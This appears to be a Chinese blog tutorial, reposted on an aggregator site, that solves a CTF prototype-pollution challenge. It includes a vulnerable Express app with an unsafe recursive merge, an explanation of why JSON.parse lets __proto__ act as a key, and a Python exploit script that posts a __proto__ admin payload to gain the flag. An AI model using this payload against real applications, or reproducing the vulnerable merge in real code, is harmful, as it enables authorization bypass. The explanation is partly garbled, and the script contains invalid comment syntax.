JavaScript另外一道原型链污染例题

2024-08-24 06:04

本文主要是介绍JavaScript另外一道原型链污染例题,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

代码

 代码分析

​编辑使用脚本进行原型链污染

结果


代码

'use strict';const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');const isObject = obj => obj && obj.constructor && obj.constructor === Object;function merge(a, b) {for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}function clone(a) {return merge({}, a);
}// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {var body = JSON.parse(JSON.stringify(req.body)); // {"__proto__": {"admin":1}}//传递的值
var copybody = clone(body)
//你传递什么值就是啥值if (copybody.name) {res.cookie('name', copybody.name).json({"done": "cookie set"});} else {res.json({"error": "cookie not set"})}
});
app.get('/getFlag', (req, res) => {
//获取cookie,如果admin.admin=1就获取cookie,JSON.stringify将JavaScript转换为JSON的字符串,然后再用JSON.parse进行解析var аdmin = JSON.parse(JSON.stringify(req.cookies))if (admin.аdmin == 1) {res.send("hackim19{}");} else {res.send("You are not authorized");}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

 代码分析

当出现了这两个函数就有可能是JavaScript原型链污染

function merge(a, b) {for (var attr in b) {if (isObject(a[attr]) && isObject(b[attr])) {merge(a[attr], b[attr]);} else {a[attr] = b[attr];}}return a
}function clone(a) {return merge({}, a);
}

merge就是如果有两个相同的key值后者会将前置进行一个覆盖

然后我们尝试传入一个数值(传入如下面代码),触发clone然后触发merge,尝试进行一个原型链污染,但是测试结果是无法进行污染,admin这个对象还是未定义,原因是在我们在创建字典的时候已经作为__proto__给test赋值了,所以test.__proto__中是有admin属性了。__proto__并不被认为是一个键名

var test = {"test1":"aaa","__proto__":{"admin":1}}
//我们想要达到的效果,相当于给test1的原型对像构造了一个函数admin=1

那么我们如何达到我们的目的,那就想办法让__proto__被认为是一个键名,我们可以使用下面代码,我们在下面子代码中使用JSON.parse解析代码,这样在下面代码中__proto__就会被认为是一个键名

var test = JSON.parse('{"test1":"aaa","__proto__":{"admin":1}}')

现在我们开启环境

使用脚本进行原型链污染

import requests
import json
url1 = "http://127.0.0.1:8080/getflag"
url2 = "http://127.0.0.1:8080/signup"
s = requests.session()
headers = {"Content-Type":"application/json"}
//data1的原型对象是Object
data1 = {"__proto__":{"admin":1}}res1 = s.post(url2,headers=headers,data = json.dumps(data1))
res2 = s.get(url1)
print(res2.text)

使用上述代码,代码走到下图这里的时候a是{},a的__proto__是Object.prototype,然后b是你输入的值{"admin":1},b的__proto__就等于//当代码走到这里时a是{}他的__proto__是Object.prototype,然后b是你输入的值,b的__proto__就等于{"admin":1},再往下走进行递归,b[attr]是1,b[attr]就不是一个对象了就走到else里面了,然后a[attr]=Object.prototype[admin],b[attr]就是b[admin]等于1。最后写入的形态就是这样:Object.prototype.admin=1

结果

这篇关于JavaScript另外一道原型链污染例题的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1101650

相关文章

一文详解如何在idea中快速搭建一个Spring Boot项目

《一文详解如何在idea中快速搭建一个SpringBoot项目》IntelliJIDEA作为Java开发者的‌首选IDE‌,深度集成SpringBoot支持,可一键生成项目骨架、智能配置依赖,这篇文... 目录前言1、创建项目名称2、勾选需要的依赖3、在setting中检查maven4、编写数据源5、开启热

Java对异常的认识与异常的处理小结

《Java对异常的认识与异常的处理小结》Java程序在运行时可能出现的错误或非正常情况称为异常,下面给大家介绍Java对异常的认识与异常的处理,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参... 目录一、认识异常与异常类型。二、异常的处理三、总结 一、认识异常与异常类型。(1)简单定义-什么是

SpringBoot项目配置logback-spring.xml屏蔽特定路径的日志

《SpringBoot项目配置logback-spring.xml屏蔽特定路径的日志》在SpringBoot项目中,使用logback-spring.xml配置屏蔽特定路径的日志有两种常用方式,文中的... 目录方案一:基础配置(直接关闭目标路径日志)方案二:结合 Spring Profile 按环境屏蔽关

Java使用HttpClient实现图片下载与本地保存功能

《Java使用HttpClient实现图片下载与本地保存功能》在当今数字化时代,网络资源的获取与处理已成为软件开发中的常见需求,其中,图片作为网络上最常见的资源之一,其下载与保存功能在许多应用场景中都... 目录引言一、Apache HttpClient简介二、技术栈与环境准备三、实现图片下载与保存功能1.

SpringBoot排查和解决JSON解析错误(400 Bad Request)的方法

《SpringBoot排查和解决JSON解析错误(400BadRequest)的方法》在开发SpringBootRESTfulAPI时,客户端与服务端的数据交互通常使用JSON格式,然而,JSON... 目录问题背景1. 问题描述2. 错误分析解决方案1. 手动重新输入jsON2. 使用工具清理JSON3.

java中long的一些常见用法

《java中long的一些常见用法》在Java中,long是一种基本数据类型,用于表示长整型数值,接下来通过本文给大家介绍java中long的一些常见用法,感兴趣的朋友一起看看吧... 在Java中,long是一种基本数据类型,用于表示长整型数值。它的取值范围比int更大,从-922337203685477

java Long 与long之间的转换流程

《javaLong与long之间的转换流程》Long类提供了一些方法,用于在long和其他数据类型(如String)之间进行转换,本文将详细介绍如何在Java中实现Long和long之间的转换,感... 目录概述流程步骤1:将long转换为Long对象步骤2:将Longhttp://www.cppcns.c

SpringBoot集成LiteFlow实现轻量级工作流引擎的详细过程

《SpringBoot集成LiteFlow实现轻量级工作流引擎的详细过程》LiteFlow是一款专注于逻辑驱动流程编排的轻量级框架,它以组件化方式快速构建和执行业务流程,有效解耦复杂业务逻辑,下面给大... 目录一、基础概念1.1 组件(Component)1.2 规则(Rule)1.3 上下文(Conte

SpringBoot服务获取Pod当前IP的两种方案

《SpringBoot服务获取Pod当前IP的两种方案》在Kubernetes集群中,SpringBoot服务获取Pod当前IP的方案主要有两种,通过环境变量注入或通过Java代码动态获取网络接口IP... 目录方案一:通过 Kubernetes Downward API 注入环境变量原理步骤方案二:通过

Springboot整合Redis主从实践

《Springboot整合Redis主从实践》:本文主要介绍Springboot整合Redis主从的实例,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录前言原配置现配置测试LettuceConnectionFactory.setShareNativeConnect